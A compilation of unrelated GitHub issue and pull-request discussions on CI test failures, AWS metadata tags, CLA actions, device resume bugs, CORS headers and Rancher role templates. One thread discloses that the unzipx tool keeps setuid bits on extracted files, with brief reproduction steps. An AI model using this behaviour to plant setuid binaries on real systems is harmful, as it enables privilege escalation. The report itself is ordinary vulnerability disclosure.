  | Error:      	Not equal:
  | expected: "{\"base_step\":{\"type\":\"script\",\"agent_query_rules\":[\"queue=default\"]},\"steps\":[{\"type\":\"script\",\"agent_query_rules\":[\"queue=default\"],\"name\":\":docker: building image\",\"command\":\"docker build .\",\"agents\":{\"queue\":\"default\"}}]}"
  | actual  : "{\"base_step\":{\"type\":\"script\",\"agent_query_rules\":[\"queue=default\"]},\"steps\":[{\"type\":\"script\",\"agent_query_rules\":[\"queue=default\"],\"name\":\":docker: building image\",\"command\":\"docker build .\",\"agents\":{\"queue\":\"default\"}}],\"env\":{\"BUILDKITE_TRACE_CONTEXT\":\"Hv-BBAEBDlRleHRNYXBDYXJyaWVyAf-CAAEMAQwAAAT_ggAA\"}}"
  |
  | Diff:
  | --- Expected
  | +++ Actual
  | @@ -1 +1 @@
  | -{"base_step":{"type":"script","agent_query_rules":["queue=default"]},"steps":[{"type":"script","agent_query_rules":["queue=default"],"name":":docker: building image","command":"docker build .","agents":{"queue":"default"}}]}
  | +{"base_step":{"type":"script","agent_query_rules":["queue=default"]},"steps":[{"type":"script","agent_query_rules":["queue=default"],"name":":docker: building image","command":"docker build .","agents":{"queue":"default"}}],"env":{"BUILDKITE_TRACE_CONTEXT":"Hv-BBAEBDlRleHRNYXBDYXJyaWVyAf-CAAEMAQwAAAT_ggAA"}}
  | Test:       	TestPipelineParserSupportsYamlMergesAndAnchors
  |
  | DONE 1245 tests, 13 skipped, 1 failure in 80.502s

@chloeruka could this be because the windows agents are now running a 3.27.0 pre-release?

Hmm, there's a test failing on windows:

That should be fixed by #1378 … I'll rebase this PR

Hmm… I wonder about tag noise/pollution.
What if we set aws:instance-life-cycle=spot when it's spot, but leave it unset when it's on-demand?
Also:

The instance-life-cycle metadata key was added in IMDSv2. I'm not 100% sure what will happen if the agent runs on an instance with only IMDSv1. I added the new code at the end of the method, so I suspect the new tag will just be missing on those agents.

I think we should get some test coverage or even just manual testing with IMDSv1… and e.g. what happens if we add another tag after this one, and this one fails to load.

Good points, I'll manually confirm how this behaves on a IMDSv1-only instance and report back.

What if we set aws:instance-life-cycle=spot when it's spot, but leave it unset when it's on-demand?

Good points, I'll manually confirm how this behaves on a IMDSv1-only instance and report back.

Oh. I don't think IMDSv1-only instances are a thing? At least, not on new instances. Maybe folks might run the agent on an old instance that launched before IMDSv2?
Here's the launch wizard for a new instance:

I've manually started a build of the agent from this branch on both a IMDSv1+2 and IMDSv2 instance. In both cases the new tag was added as expected. I guess we're using a version of the go-aws sdk that always uses IMDSv2?

I think we should get some test coverage or even just manual testing with IMDSv1… and e.g. what happens if we add another tag after this one, and this one fails to load.

Is it possible it won't fail (other than for catastrophic IMDS failure, which can happen but this shouldn't make the agent behave any worse than it probably already does in that scenario)?

This seems reasonable to me, although if we're unsure if this piece of meta-data is consistently available then perhaps the error case should be softly handled (i.e. ignore the attribute and move on) instead of returning the error?

if we're unsure if this piece of meta-data is consistently available then perhaps the error case should be softly handled (i.e. ignore the attribute and move on) instead of returning the error

I like it. I'd blindly copied the existing error handling pattern for consistency, but a little caution makes sense. I've pushed your suggested change.

@sj26 @pda I reckon this is ready for another look


Gf14 compatibility

Can you please merge laygo/finfet.py and leave out sampler2.py?

I don't think selective file merge is possible.  Suggestion:

close this PR.
make a new copy of this branch.
delete sampler2.py from the new branch.
submit PR from the new branch.


Get SP2010 based workflows in SPO

Category

[x] Question
[ ] Typo
[ ] Bug
[ ] Additional article idea

Expected or Desired Behavior

I am trying to reach all workflows listed in SharePoint Online. There can be Nintex workflows, SPD 2013 and 2010 workflows. When I use WorkflowServiceManager(clientContext,Web).GetDeploymentService().EnumerateDefinition(false) never give me the list of SP 2010 based workflows.
But when I do a list.workflowassociations, I only get SP 2010 SPD workflows.

Observed Behavior

I am not able to get SP 2010 based workflows by using the Deployment service of workflow manager.

That’s because SP2010 workflows are not part of the WM platform, rather they are part of the Workflow Foundation platform. Workflow Manager wasn’t adopted by SharePoint until after SP2010.

Thanks AC for replying.
I should for formatted it differently. I could get all SP2013 based workflows existence by using WFM API as mentioned. What's straight option (without iterating list.workflowassociation) to list all SP2010 workflows in a web?

@ashuetawah said:

What's straight option (without iterating list.workflowassociation) to list all SP2010 workflows in a web?

You can't... that's the only option.


Don't fail when no wheel/sdist is available for a platform

can we please merge this - we ran into it for platform specific wheel


Minimum Perl Version

Hello, I recently tried to install the latest version of GoogleAds for Perl and it's showing that the minimum perl version is 5.32.1. On Ubuntu, the latest version of perl is 5.30. Furthermore, as per Google Ads API page, the minimum requirement is supposed to be 5.24.1 or greater. This minimum requirement change to 5.32.1 is not possible on Ubuntu. Please advise.

For now, I published a patch as dist version 14.0.1, find it on CPAN here.
There's a good chance we'll increase the minimum Perl version in the future, so I recommend upgrading to the minimum supported version of Perl -- regardless of this library, we'd recommend this as best practice. This article seems like a useful reference for a Perl version upgrade on Ubuntu; you could also cross reference with StackOverflow.
Alternatively, you could consider using Docker if you don't want to update the Perl version on your system; you can find some documentation on that here.


Update sidebar.js

Left navigation pane wasn't showing up, updated sidebar to show it
Signed-off-by: Smriti S<EMAIL_ADDRESS>

Please check the Execution Link of the Pipeline for the Website Draft URL. This is located in the Preview Step and also is available in #hdh_alerts. E.g Website Draft URL: https://unique-id--harness-developer.netlify.app


CR Images are not being applied due to config overriding

ATM None of the image fields in the CR work because the images provided via the config are always preferred. We need to fix this such that when an image for any component with a configurable image field (so not including UI and minio) is set by the CR, it is preferred over default configurations.
Context here.

Ref: https://issues.redhat.com/browse/RHODS-7696

When someone picks this up, you should add the test case from #46 to your PR.


[BUG] Error: Parameter token or opts.auth is required on PR

Describe the bug
We are using the v2.0.0-alpha version. When someone makes a pull request the bellow error is shown. Note that this works for some users, so it's quite random.
home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1
module.exports=function(e,t){"use strict";var r={};function __webpack_require__(t){if(r[t]){return r[t].exports}var n=r[t]={i:t,l:false,exports:{}};e[t].call(n.exports,n,n.exports,__webpack_require__);n.l=true;return n.exports}__webpack_require__.ab=__dirname+"/";function startup(){return __webpack_require__(131)}t(__webpack_require__);return startup()}({11:function(e){e.exports=wrappy;function wrappy(e,t){if(e&&t)return wrappy(e)(t);if(typeof e!=="function")throw new TypeError("need wrapper function");Object.keys(e).forEach(function(t){wrapper[t]=e[t]});return wrapper;function wrapper(){var t=new Array(arguments.length);for(var r=0;r<t.length;r++){t[r]=arguments[r]}var n=e.apply(this,t);var o=t[t.length-1];if(typeof n==="function"&&n!==o){Object.keys(o).forEach(function(e){n[e]=o[e]})}return n}}},16:function(e){e.exports=require("tls")},18:function(){eval("require")("encoding")},49:function(e,t,r){var n=r(11);e.exports=n(once

Error: Parameter token or opts.auth is required
    at Object.getAuthString (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:3726)
    at Object.getOctokitOptions (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:65319)
    at Object.getOctokit (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:54767)
    at Object.994 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:221556)
    at __webpack_require__ (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:154)
    at Object.407 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:25532)
    at __webpack_require__ (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:154)
    at Object.210 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:12044)
    at __webpack_require__ (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:154)
    at Object.131 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:5235)home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1
module.exports=function(e,t){"use strict";var r={};function __webpack_require__(t){if(r[t]){return r[t].exports}var n=r[t]={i:t,l:false,exports:{}};e[t].call(n.exports,n,n.exports,__webpack_require__);n.l=true;return n.exports}__webpack_require__.ab=__dirname+"/";function startup(){return __webpack_require__(131)}t(__webpack_require__);return startup()}({11:function(e){e.exports=wrappy;function wrappy(e,t){if(e&&t)return wrappy(e)(t);if(typeof e!=="function")throw new TypeError("need wrapper function");Object.keys(e).forEach(function(t){wrapper[t]=e[t]});return wrapper;function wrapper(){var t=new Array(arguments.length);for(var r=0;r<t.length;r++){t[r]=arguments[r]}var n=e.apply(this,t);var o=t[t.length-1];if(typeof n==="function"&&n!==o){Object.keys(o).forEach(function(e){n[e]=o[e]})}return n}}},16:function(e){e.exports=require("tls")},18:function(){eval("require")("encoding")},49:function(e,t,r){var n=r(11);e.exports=n(once

Error: Parameter token or opts.auth is required
    at Object.getAuthString (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:3726)
    at Object.getOctokitOptions (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:65319)
    at Object.getOctokit (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:54767)
    at Object.994 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:221556)
    at __webpack_require__ (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:154)
    at Object.407 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:25532)
    at __webpack_require__ (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:154)
    at Object.210 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:12044)
    at __webpack_require__ (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:154)
    at Object.131 (/home/runner/work/_actions/cla-assistant/github-action/v2.0.0-alpha/lib/main.js:1:5235)

To Reproduce
Check this PR

Hi @ZoranPandovski, Thank you for reaching out to us..
I think I have found the issue :).
In the CLA workflow file, you have to trigger the CLA workflow for pull_request_target event but not for pull_request event.
This event pull_request_target is introduced by GitHub recently in order to support the PR from forked repositories. I think you also face this issue only when the PR is coming from the forks. You can read more about pull_request_target event here
So your workflow file should be modified as follows:
name: "MindsDB CLA Assistant"
on:
  issue_comment:
    types: [created]
  pull_request_target:
    types: [opened,closed,synchronize]

Thanks, @ibakshay for the response. I will change the event, in case the issue still happens I will reopen the issue.

@ZoranPandovski, sure, sounds good..

This fix did not help in my repo. Any other options?

This fix did not help in my repo. Any other options?

I got same error on my workflow https://github.com/stardiviner/kiwix.el/pull/7/checks
My workflow is correct as @ibakshay mentioned.


Switch to dark mode without page refresh and without reloading the Perses panel

Switch to dark mode without page refresh and without reloading the Perses panel

enable switching to dark mode without a page refresh
do not reload the Perses panel if the theme changes by extracing  from

/lgtm


N+1 issue on listing page

Bug Description
If you have a model that has several relationships, you get many many single queries:

Steps to reproduce
Have models with several (4 in my case) relationship fields. Then list them.
Environment
Statamic 3.2.32 Pro
Laravel 8.82.0
PHP 8.0.15
aryehraber/statamic-captcha 1.7.0
aryehraber/statamic-uuid 2.0.3
doublethreedigital/runway 2.2.0
edalzell/forma 1.0
edalzell/private-eye dev-main
jonassiewertsen/statamic-livewire 2.7.1
statamic/seo-pro 2.3.2
transformstudios/events 3.3.3
transformstudios/front 1.9.1
transformstudios/gated dev-main
transformstudios/magic-link dev-main
transformstudios/memorial dev-main
transformstudios/price-of dev-main
transformstudios/review 3.1.1
transformstudios/shopify dev-main
transformstudios/simple dev-main
transformstudios/stripe dev-main
transformstudios/takeover-redirects dev-main

thinking about this, you could have folks define the relationships in the config?
Or maybe parse the blueprint for the hasmany/belongsto/etc to get them automatically?

Perhaps use this package to find them all: https://github.com/beyondcode/laravel-query-detector

I imagine I'll go down the road of parsing the blueprint for relationships, then eager load those relations.


Timeout-based message expiration

In both aggregator and operator we don't really have a timeout for processing messages.
For operators, it means when a message is added to the resend queue, it'll just stay there while it's not resent enough, even though it's a very old message. This is not interesting because (1) the interest in a state root update is immediate, so resending a really old message is essentially unnecessary info and can result in a lot of latency for the actual blocks to be processed when re-upping and (2) the resend queue just grows unbounded, which is never nice. Here, I propose we just check in the resend queue if a message is old enough to be dropped and drop it even if the aggregator connection is down. We could use a fancier queue with TTL (I'd prefer that) or just straight up manage this on tryResendFromQueue.
For the aggregator, there's still the latency consideration - should take quite a while to get to the 'good' messages and, depending on the situation, aggregating an old message can affect a past checkpoint info. This should ideally be considered in slashing terms as well, but this is not desirable behavior. In that case, I propose we set a submission timeout and just ignore messages that are older than that when receiving them. It'd also be good to then adapt the checkpoint time range logic so it's from lastCheckpointTimestamp + 1 to currentBlockTime - MESSAGE_AGGREGATION_TIMEOUT - MESSAGE_SUBMISSION_TIMEOUT.

Btw, if you'll see testnet-0, this was already implemented in a naive way to avoid any load issues.

Some work was done in #259 but it seems like on master we already have somewhat of a mechanism for TTL in the form of timeout + retries for the operator's RPC client.

On the aggregator side, we handle 3 messages:
https://github.com/NethermindEth/near-sffl/blob/8f43707c78ba61820b3d0b18a27c2afe2e930672/aggregator/aggregator.go#L522
https://github.com/NethermindEth/near-sffl/blob/8f43707c78ba61820b3d0b18a27c2afe2e930672/aggregator/aggregator.go#L551
https://github.com/NethermindEth/near-sffl/blob/8f43707c78ba61820b3d0b18a27c2afe2e930672/aggregator/aggregator.go#L581
ProcessSignedCheckpointTaskResponse is the only one that does not handle internally a TTL, though I'm not sure if this is what is being discussed in the ticket.

I propose we set a submission timeout and just ignore messages that are older than that when receiving them

Would adding the following validation to ProcessSignedStateRootUpdateMessage and ProcessSignedOperatorSetUpdateMessage be enough?
// Error handling is ignored for brevity
func (agg *Aggregator) validateMessageTimestamp(ctx context.Context, messageTimestamp uint64) error {
	currentBlockNumber, _ := agg.httpClient.BlockNumber(ctx)
	currentBlock, _ := agg.httpClient.BlockByNumber(ctx, big.NewInt(0).SetUint64(currentBlockNumber))

	if messageTimestamp < (currentBlock.Time() - MESSAGE_AGGREGATION_TIMEOUT - MESSAGE_SUBMISSION_TIMEOUT) {
		return errors.New("Message has expired")
	}

	return nil
}

It'd also be good to then adapt the checkpoint time range logic so it's from lastCheckpointTimestamp + 1 to currentBlockTime - MESSAGE_AGGREGATION_TIMEOUT - MESSAGE_SUBMISSION_TIMEOUT.

Would changing the following
https://github.com/NethermindEth/near-sffl/blob/dfb1874b14eaee8de7d33ac074e71024f4c28f8f/aggregator/aggregator.go#L396
to
	toTimestamp := block.Time() - MESSAGE_AGGREGATION_TIMEOUT - MESSAGE_SUBMISSION_TIMEOUT

be enough?

Let me get up to speed on this, need to gather past thoughts!

Okay, so my understanding on the aggregator is:
We need to introduce MESSAGE_SUBMISSION_TIMEOUT - this timeout is purely for submission. We're not going to accept messages from timestamps lower than currentTimestamp() - MESSAGE_SUBMISSION_TIMEOUT - the message timestamp being defined as the timestamp in the message content. This means we need to filter these messages out when receiving (as pointed out by you, but then using the aggregator timestamp as reference as opposed to the current block). The idea for that is to avoid aggregating old messages, which skews the checkpoint content.

but then using the aggregator timestamp as reference as opposed to the current block

What is the aggregator timestamp? Is it the unix timestamp of the machine running the aggregator or is it a domain specific concept?

Unix timestamp, really. The point here is just establishing some baseline for when a message is old or not. Let me know if it makes sense, I may also be forgetting about something here.


fix: footer responsiveness on smaller screens

[x] made the footer responsive on smaller screens, according to design.

looks good


Oxide fails to display anything after resuming from sleep

Describe the bug
After resuming from sleep on the rM2 the screen changes from the reMarkable sleep screen to just an empty screen.
I can SSH to the device and restart tarnish to get Oxide working again. Otherwise it's completely unresponsive via the touch screen. The power button still sleeps/unsleeps the device.
The tarnish log is filled with this message
ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (inte
rnal error): ignored.

The full resume log is:
Jan 15 06:34:13 reMarkable tarnish[4508]: Suspending...
Jan 15 06:34:13 reMarkable tarnish[4508]: Recording previous app "codes.eeems.oxide"
Jan 15 06:34:13 reMarkable tarnish[4508]: Pausing  "/codes/eeems/oxide1/apps/d3641f0572435f76bb5cc1468d4fe1db"
Jan 15 06:34:13 reMarkable tarnish[4508]: Saving screen...
Jan 15 06:34:13 reMarkable tarnish[4508]: Compressing data...
Jan 15 06:34:13 reMarkable tarnish[4508]: Screen saved.
Jan 15 06:34:13 reMarkable tarnish[4508]: Paused  "/codes/eeems/oxide1/apps/d3641f0572435f76bb5cc1468d4fe1db"
Jan 15 06:34:13 reMarkable tarnish[4508]: Framebuffer has wrong id: "mxcfb"
Jan 15 06:34:13 reMarkable tarnish[4508]: Framebuffer initialized: QImage(QSize(1404, 1872),format=7,depth=16,devicePixelRatio=1,bytesPerLi
ne=2808,sizeInBytes=5256576) 5256576
Jan 15 06:34:13 reMarkable tarnish[4508]: Turning wifi off
Jan 15 06:34:13 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:14 reMarkable tarnish[4508]: Suspending...
Jan 15 06:34:14 reMarkable tarnish[4508]: Unregistered "/codes/eeems/oxide1/bss/30efbfbdefbfbdefbfbd3aefbfbd"
Jan 15 06:34:15 reMarkable tarnish[4508]: Unregistered "/codes/eeems/oxide1/bss/efbfbd7fefbfbd21"
Jan 15 06:34:15 reMarkable tarnish[4508]: Unregistered "/codes/eeems/oxide1/bss/74efbfbdefbfbdefbfbd3b24"
Jan 15 06:34:19 reMarkable tarnish[4508]: Resuming...
Jan 15 06:34:19 reMarkable tarnish[4508]: Unable to find current application
Jan 15 06:34:19 reMarkable tarnish[4508]: Resuming  "/codes/eeems/oxide1/apps/549212b2493354f4a9ee5da097a2dacd"
Jan 15 06:34:19 reMarkable tarnish[4508]: Uncompressing screen...
Jan 15 06:34:19 reMarkable tarnish[4508]: Recalling screen...
Jan 15 06:34:19 reMarkable tarnish[4508]: Screen recalled.
Jan 15 06:34:19 reMarkable tarnish[4508]: Resumed  "/codes/eeems/oxide1/apps/549212b2493354f4a9ee5da097a2dacd"
Jan 15 06:34:19 reMarkable tarnish[4508]: Suspend timer re-enabled due to resume
Jan 15 06:34:19 reMarkable tarnish[4508]: Turning wifi on
Jan 15 06:34:19 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:19 reMarkable tarnish[4508]: ip: can't find device 'wlan0'
Jan 15 06:34:19 reMarkable tarnish[4508]: ifconfig: SIOCGIFFLAGS: No such device
Jan 15 06:34:19 reMarkable tarnish[4508]: "Failed to enable wlan0"
Jan 15 06:34:19 reMarkable tarnish[4508]: Reconnecting to wifi
Jan 15 06:34:19 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:19 reMarkable tarnish[4508]: link failed:
Jan 15 06:34:22 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:22 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:22 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:22 reMarkable tarnish[4508]: Disconnected from "/codes/eeems/oxide1/network/d6e8207c628c5d03acbb78dffcd7211c"
Jan 15 06:34:22 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:25 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:25 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:25 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:25 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:25 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:28 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:28 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:28 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:28 reMarkable tarnish[4508]: Connected to "/codes/eeems/oxide1/network/d6e8207c628c5d03acbb78dffcd7211c"
Jan 15 06:34:28 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:31 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:31 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:31 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:31 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.
Jan 15 06:34:31 reMarkable tarnish[4508]: ERROR: ld.so: object '/opt/lib/librm2fb_client.so.1.0.0' from LD_PRELOAD cannot be preloaded (int
ernal error): ignored.

To Reproduce

Start Oxide (started from boot)
Use button to sleep
Use button to wake

Expected behavior
Oxide should resume, instead I just see a blank screen.
Screenshots
Not much to show, let me know if this helps.
Version Information:

Device: reMarkable 2
OS: <IP_ADDRESS>
Version 2.1 (installed from toltec)

Additional context

Are you running a specific application when this happens?
@Witos or @raisjn can you replicate?

Are you running a specific application when this happens?
@Witos or @raisjn can you replicate?

Actually I just got the same with 2.1 beta1 for me just enough steps

reboot (oxide started)
press power button (you will see rm sleeping message)
press power button again (white screen)
press again (again message about sleeping)

and no matter how many time to do that
first I got this in xochitl, but then found that's pretty simple in reproduce
only restart tarnish helps

Actually I just got the same with 2.1 beta1 for me just enough steps

reboot (oxide started)
press power button (you will see rm sleeping message)
press power button again (white screen)
press again (again message about sleeping)

and no matter how many time to do that
first I got this in xochitl, but then found that's pretty simple in reproduce
only restart tarnish helps

@coozoo #142 Which is in the release notes under "Known Issues"

@coozoo #142 Which is in the release notes under "Known Issues"

Ah, I searched the issues and didn't see that. Thanks for pointing that out.
Closing this as a duplicate of: https://github.com/Eeems/oxide/issues/142

Ah, I searched the issues and didn't see that. Thanks for pointing that out.
Closing this as a duplicate of: https://github.com/Eeems/oxide/issues/142


Fix build interrupt breaking subsequent builds

Much of the time spent compiling is during the postgresql source tarball
download. If the build were interrupted during this process, subsequent
builds would fail since the postgresql source was only partially
downloaded, but the Makefile thought it was.
This patch corrects that behavior by downloading the source to a tmp
folder first. The extracted source is moved to its destination only
after it is completely available.
Resolves #25.

This change is

Thanks!


unzipx preserves setuid bit, allowing privilege escalation

unzipx is vulnerable to https://www.cvedetails.com/cve/CVE-2005-0602/
Steps to reproduce:
unzipx file.zip
stat file

You can see stat show Access: (6711/-rws--s--x)
You can craft your own file like this for testing using the following:
touch file
chmod 6711 file

This is the code responsible that doesn't sanitize setuid bits:
https://github.com/quininer/unzipx/blob/b8d3f6c580736478ecb9a68d00a21e03246b6a0d/src/main.rs#L168-L174

Like #3 it is disputed whether this is a vulnerability or not; some vendors consider it to be one while Red Hat considers it the correct behavior.

However, unzip does not preserve the setuid bit when extracting files, while unzipx does.

I don't think it's a vulnerability, but from a pragmatic point of view, it's good to remove it.
Are you willing to open a PR?

I understand it's sufficient to just clear the setuid/setgid bits, so yeah, I could open a PR. I don't understand the cfh.ext_attrs >> 16 line though - why is there a shift? Is this a conversion from zip-internal to Unix representation?

Yes, On Unix, the upper 16 bits of this field hold the file mode bits .


Can't set authorization header

I need to set a default header for basic http authentication. I set the header in a function that logs the user in my webapp but restangular don't send the authorization header. Even with the header hardcoded in the configuration section of the app the problem persists.
Here a plnk who illustrates my problem: http://plnkr.co/edit/FFKrlxRnVOfQ9I5V21yf?p=preview
Thanks for now.

Hi, @mgonto I have set the basic authenticaion using RestangularProvider.setDefaultHeaders({'Authorization':'Basic '+btoa("username:password")});
However, the first time I open my app that used ui.router and restangular, the browser prompt for username and password, but subsequent actions that cause API request to mysql's http plugin do not cause browser prompt, even when I reload or open it in new tab, or open a new browser window while the first browser window is still opened, it is just happened when I open totally new browser window process, and launch my app the first time,, how could my app be wrong?

For cross-domain calls, I found that both Restangular, and even Angular's $http service, first do a preflight request. (OPTIONS request) (For more about preflight see the section on preflighted requests at https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS)  The Authorization header is null on preflight requests, even if you've set default headers as pzaich does above . However, I found the header is present on the actual GET, POST, PUT, etc request in Restangular 1.4

okey thank you :-D so, the server should not authenticate OPTIONS request?

From spec http://www.w3.org/TR/cors/#cross-origin-request-with-preflight-0
When creating preflight request based on another request:

Exclude the author request headers.
Exclude user credentials.

Is there any example on how use CORS with Restangular? I'm kind newbie here. =/

You should actually try to find "how to set up CORS with ". Restangular only builds URLs you query to get responses so it has nothing to do with CORS.


[2.1.1] Trying to add user to project with custom role template and getting error "Role Template is required."

Version 2.1.1
I have a custom Role Template that I cannot add a user as. It keeps saying "Role Template is Required"  It seems to work from the API if I add it but not from the UI.

Here is the API json of the custom role I created.
{
  "annotations": {
    "lifecycle.cattle.io/create.cluster-roletemplate-sync_c-sjx98": "true",
    "lifecycle.cattle.io/create.cluster-roletemplate-sync_local": "true"
  },
  "baseType": "roleTemplate",
  "builtin": false,
  "clusterCreatorDefault": false,
  "context": "project",
  "created": "2018-10-26T21:56:43Z",
  "createdTS":<PHONE_NUMBER>000,
  "creatorId": "user-cxrhk",
  "description": "",
  "external": false,
  "hidden": false,
  "id": "rt-hsw4j",
  "labels": {
    "cattle.io/creator": "norman",
    "lifecycle.cattle.io/create.cluster-roletemplate-sync_local": "true"
  },
  "links": {
    "clusterRoleTemplateBindings": "https://rancher-corp.cts.cernerdevtools.net/v3/clusterRoleTemplateBindings?roleTemplateId=rt-hsw4j",
    "clusters": "https://rancher-corp.cts.cernerdevtools.net/v3/clusters?defaultClusterRoleForProjectMembers=rt-hsw4j",
    "projectRoleTemplateBindings": "https://rancher-corp.cts.cernerdevtools.net/v3/projectRoleTemplateBindings?roleTemplateId=rt-hsw4j",
    "remove": "https://rancher-corp.cts.cernerdevtools.net/v3/roleTemplates/rt-hsw4j",
    "self": "https://rancher-corp.cts.cernerdevtools.net/v3/roleTemplates/rt-hsw4j",
    "update": "https://rancher-corp.cts.cernerdevtools.net/v3/roleTemplates/rt-hsw4j"
  },
  "locked": false,
  "name": "Project Owner Cerner",
  "projectCreatorDefault": true,
  "roleTemplateIds": [
    "admin"
  ],
  "rules": [
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "projectroletemplatebindings"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "*"
      ]
    },
    {
      "apiGroups": [
        "project.cattle.io"
      ],
      "resources": [
        "apps"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "*"
      ]
    },
    {
      "apiGroups": [
        ""
      ],
      "resources": [
        "namespaces"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "*"
      ],
      "resources": [
        "persistentvolumes"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "*"
      ],
      "resources": [
        "storageclasses"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "*"
      ],
      "resources": [
        "persistentvolumeclaims"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "*"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "clusterevents"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "notifiers"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "projectalerts"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "*"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
